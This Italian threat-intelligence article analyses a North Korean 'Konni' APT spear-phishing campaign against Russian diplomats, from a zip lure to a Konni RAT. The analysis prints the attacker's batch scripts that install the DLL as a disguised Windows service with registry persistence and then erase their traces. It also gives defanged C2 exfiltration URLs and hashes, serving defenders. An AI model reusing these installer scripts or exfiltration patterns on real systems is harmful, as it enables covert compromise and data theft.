Red Hot Cyber

La cybersecurity è condivisione.
Riconosci il rischio, combattilo, condividi le tue esperienze ed 
incentiva gli altri a fare meglio di te.

Cerca

Il gruppo nordcoreano “KONNI”, attacca i diplomatici russi con nuovi impianti malware.

Emanuele De Lucia : 3 Gennaio 2022 21:28

Autore: Emanuele De Lucia (Cluster25)

Data Pubblicazione: 3/01/2022

Cluster25 (Un Global Cyber ​​Threat Intelligence and Adversary Tracking Team) ha analizzato un recente attacco legato al gruppo APT nordcoreano “Konni” che ha preso di mira il settore diplomatico russo usando come esca mail di spear phishing per le festività di Capodanno.

Una volta aperto ed eseguito l’allegato e-mail dannoso, viene attivata una catena composta da più fasi, che consente all’attore di installare un impianto appartenente alla famiglia Konni RAT come payload finale.

La KILLCHAIN

Il diagramma seguente mostra le fasi complessive utilizzate dall’attore per infettare il bersaglio. L’attività dannosa inizia da un’e-mail contenente un file zip dannoso, che una volta decompresso rilascia un downloader in grado di attivare una complessa catena di azioni finalizzate a distribuire il malware Konni RAT, denominato scrnsvc.dll, come servizio di Windows.

L’Acceso iniziale

C25 ha tracciato un’attività iniziata almeno da agosto 2021 rivolta a bersagli russi operanti nel settore diplomatico. Il 20 dicembre sono state rilevate delle e-mail create per infettare l’ambasciata russa situata in Indonesia; queste e-mail usavano la festa di Capodanno 2022 come tema esca.

Contrariamente alle sue azioni passate, questa volta il gruppo APT nordcoreano non ha utilizzato documenti dannosi come allegati; invece, hanno allegato un tipo di file .zip chiamato “поздравление.zip”, che significa “congratulazioni” in russo, contenente un eseguibile incorporato che rappresenta la prima fase dell’infezione.

Le e-mail sono state falsificate utilizzando un account *@mid.ru come mittente per fingere di essere state inviate dall’ambasciata russa in Serbia.

Analisi del Downloader

L’artefatto trovato ed estratto dallo zip è un eseguibile Windows x32, denominato “поздравление.scr” e compilato in data Mon Dec 20 09:16:02 2021. Dalla recente data di compilazione, sembra sia stato sviluppato appositamente per l’attacco specifico e può essere identificato dal seguente hash:

SHA256cdfc101b18b9b3f9e418fbb9a6b7d2750d5918c61ed3899ca4ecd7ede5022ac5

L’esempio ha il comportamento di un malware trojan ed è pensato per assomigliare all’applicazione Windows legittima scrnsave.scr.

Quando viene eseguito, rilascia nella directory %TEMP% un’immagine denominata Happy.jpg (che è incorporata nella sezione delle risorse) e la apre come finestra in primo piano per indurre la vittima a credere che sia un legittimo salvaschermo di buone feste a tema russo.

Successivamente, in background, il malware avvia le sue attività dannose scaricando il payload della fase successiva da una richiesta HTTP GET al dominio Command-and-Control i758769[.]atwebpages[.]com, passando come parametri l’id utente hardcoded numerato come 18756 e un tipo utilizzato come flag per specificare se la macchina infetta era a 32 o 64 bit.

La risposta del server web Apache Command-and-Control è stata configurata per rispondere con il codice di stato HTTP 401, facendo in modo che l’attaccante impostasse un falso .htaccess (probabilmente per garantire che passasse inosservato ai controlli di sicurezza), restituendo come risposta, in ogni caso, un file compresso File CAB codificato in base64 visibile nelle prove sottostanti.

Dopo il download di CAB, il malware avvia la decompressione del file utilizzando il processo expand.exe registrando un file denominato – a.log – al termine della decompressione.

L’immagine seguente illustra lo snipped del codice descritto.

Per ottimizzare il tempo perso durante la decompressione CAB, il malware scrive ed esegue il seguente file BAT nella directory %TEMP%, che era contenuto nella sezione dati codificata in base64:

@ECHO OFFCD /D %TEMP%: WAITINGTIMEOUT /T 1IF NOT EXIST “A.LOG” (GOTO WAITING)DEL /F /Q “A.LOG”INSTALL.BATDEL /F /Q “%~DPNX0”

Lo scopo dello script è attendere il termine della decompressione utilizzando la creazione di un file.log come flag ed eseguire automaticamente il contenuto dell’estrazione CAB, che è il file install.bat (uno dei file contenuti nel CAB), e infine cancella se stesso usando “%~DPNX0”, una convenzione di script bat utilizzata per specificare il file BAT stesso.

Come descritto in precedenza, il contenuto decompresso del file CAB contiene i seguenti file:

  • Install.bat
  • crnsvc.ini
  • scrnsvc.dll

Il file Install.bat è il launcher dell’infezione della fase successiva, che nasconde le tracce delle attività precedenti spostando tutti i file nella directory System32 e installando e avviando l’ultima fase di impianto, attraverso la scrnsvc.dll avviata come servizio di Windows denominato ScreenSaver Management Service.

Una volta registrato, carica il file di configurazione scrnvsvc.ini. Il servizio Windows viene installato e configurando svchost.exe come contenitore di processo dell’eseguibile DLL che rappresenta il malware Konni RAT.

Install.bat è già stato visto tra i TTP appartenenti a questo attore di minacce, il cui contenuto è visibile di seguito, dove, in questo caso, sembra essere stato leggermente modificato, e quindi più suscettibile di ingannare le firme di rilevamento riferite a file utilizzati in precedenti intrusioni.

@echo offset DSP_NAME=”ScreenSaver Management Service”sc stop scrnsvc > nulecho %~dp0 | findstr /i “system32” > nulif %ERRORLEVEL% equ 0 (goto INSTALL) else (goto COPYFILE): COPYFILEcopy /y “%~dp0\scrnsvc.dll” “%windir%\System32” > nuldel /f /q “%~dp0\scrnsvc.dll” > nulcopy /y “%~dp0\scrnsvc.ini” “%windir%\System32” > nuldel /f /q “%~dp0\scrnsvc.ini” > nuldel /f /q “%windir%\System32\scrnsvc.dat” > nul: INSTALLsc create scrnsvc binpath= “%windir%\System32\svchost.exe -k scrnsvc” DisplayName= %DSP_NAME% > nulsc description scrnsvc %DSP_NAME% > nulsc config scrnsvc type= interact type= own start= auto error= normal binpath= “%windir%\System32\svchost.exe -k scrnsvc” > nulreg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost” /v scrnsvc /t REG_MULTI_SZ /d “scrnsvc” /f > nulreg add “HKLM\SYSTEM\CurrentControlSet\Services\scrnsvc\Parameters” /v ServiceDll /t REG_EXPAND_SZ /d “%windir%\System32\scrnsvc.dll” /f > nulsc start scrnsvc > nuldel /f /q “%~dp0\wpnprv.dll” > nuldel /f /q “%~dp0\*.bat” > nuldel /f /q “%~dpnx0” > nul

Analisi del RAT Konni

La seguente versione di Konni Rat è un eseguibile DLL x64, che ha come data e ora di compilazione Mon Dec 20 09:02:38 2021 – UTC, stessa data del downloader, e dove il payload è contenuto nella sua funzione di esportazione ServiceMain e viene invocato direttamente quando registrato come servizio Windows.

Cluster25 ha recuperato due diversi campioni della stessa versione Konni identificati dai seguenti hash:

SHA256cdfc101b18b9b3f9e418fbb9a6b7d2750d5918c61ed3899ca4ecd7ede5022ac58f7037aaf27bb58a15f946bd3a30cb468078a7ee9addcc4ba89440b2114e4c83

Una volta registrato come servizio, il malware inizia a risolvere in runtime tutte le WinAPI necessarie per interfacciarsi con il file system del sistema operativo infetto e per comunicare con il server di controllo e monitoraggio.

Le funzioni esportate caricate appartengono alle seguenti librerie:

  • kernel32.dll
  • advapi23.dll
  • urlmon.dll
  • wininet.dll
  • shell32.dll

Crea quindi una struttura di memoria del puntatore utilizzata per memorizzare la configurazione del malware durante l’esecuzione, che contiene informazioni come il nome del computer, il tempo di secondi per rimanere inattivo, il dominio utilizzato per comunicare con il server di comando e controllo, e tutte le informazioni raccolte durante la futura enumerazione.

La struttura di configurazione viene quindi passata come argomento a un nuovo thread creato che viene utilizzato come routine principale dal malware per eseguire le comunicazioni di rete e l’esfiltrazione, come visibile nel seguente frammento di codice.

Il thread inizia a verificare se è disponibile una connessione Internet, rimanendo in stato di sospensione in caso contrario, quindi aggiunge il valore 65001 nella chiave di registro in Console Codepage, per impostare i caratteri Unicode in cmd.exe per impostazione predefinita e raccoglie i dati:

  • Sito Web memorizzato nella cache enumerato tramite FindFirstUrlCacheEntryW e FindNextUrlCacheEntryW
  • Informazioni sul sistema operativo enumerate utilizzando cmd /c systeminfo
  • Processi enumerati utilizzando cmd /c tasklist.exe

Una volta completata l’enumerazione, memorizza tutte le informazioni in file temporanei che verranno quindi convertiti in un file CAB utilizzando cmd /c makecab e ulteriormente crittografato e inviato al server dell’attaccante tramite il corpo della richiesta HTTP POST a hxxp://455686[ .]c1[.]biz/up[.]php?name=%COMPUTER-NAME%, passando il nome del computer del sistema operativo come parametro, come evidenza nel dump di rete riportato di seguito:

Se la risposta del server non contiene la stringa “success!” il malware tenta di inviare nuovamente la richiesta o inizia a inviare richieste HTTP GET in loop per ricevere comandi dal server situato in hxxp://455686[.]c1[.]biz /dn.php?name=%COMPUTERNAME%&prefix= tt.

I comandi ricevuti vengono analizzati dalla risposta e, se contenenti il ​​carattere ”>” vengono eseguiti tramite CreateProcessAsUserW ottenendo il Token appartenente al processo svchost.exe (probabilmente per evitare eccezioni durante il reindirizzamento dell’output della scrittura del file, essendo l’esempio situato nella cartella System32), altrimenti utilizzando la funzione CreateProcessW.

Al momento dell’analisi il server era attivo ma non forniva i comandi da eseguire, probabilmente perché l’attore ha impostato il backend di Command and Control con una qualche forma di convalida del geofencing.

Attribuzione

Cluster25 attribuisce questi tentativi di intrusione con un alto grado di fiducia al gruppo nordcoreano noto come Konni.

Konni è anche il nome del loro RAT personalizzato che presenta funzionalità di raccolta di informazioni. In questo caso l’impianto finale è una nuova versione di Konni RAT che presenta somiglianze di codice e comportamentali con le sue versioni precedenti.

La kill-chain segnalata mostra sovrapposizioni con i TTP già collegati a questo gruppo come l’uso di file CAB come fase di infezione e l’uso di file bat per installare automaticamente Konni RAT come servizio.

Modifiche identificabili sono evidenti nel modello utilizzato per la fase di accesso iniziale, molto probabilmente messo in atto per sfruttare il periodo festivo dell’anno come esca. Infine, è possibile notare l’utilizzo di “ZETTA HOSTING SOLUTIONS LLC” (AS44476) come hosting provider e l’utilizzo di siti di hosting gratuito come c1 dot biz e atwebpages punto com per gli hostname di Command and Controls.

Nello specifico, le pagine web dot com sembrano essere comunemente osservabili nelle intrusioni relative agli attori di minacce appartenenti a Kimsuki.

Emanuele De Lucia
Laureato in Informatica (con master in Computer Security e un master alla Stanford University), ha lavorato come analista nel Security Operation Center (Se.OC o SOC) in una TELCO italiana e nel settore spaziale. Dirige un team internazionale di ricercatori focalizzato sulla Threat Intelligence, sul reverse engineering e la risposta agli incidenti.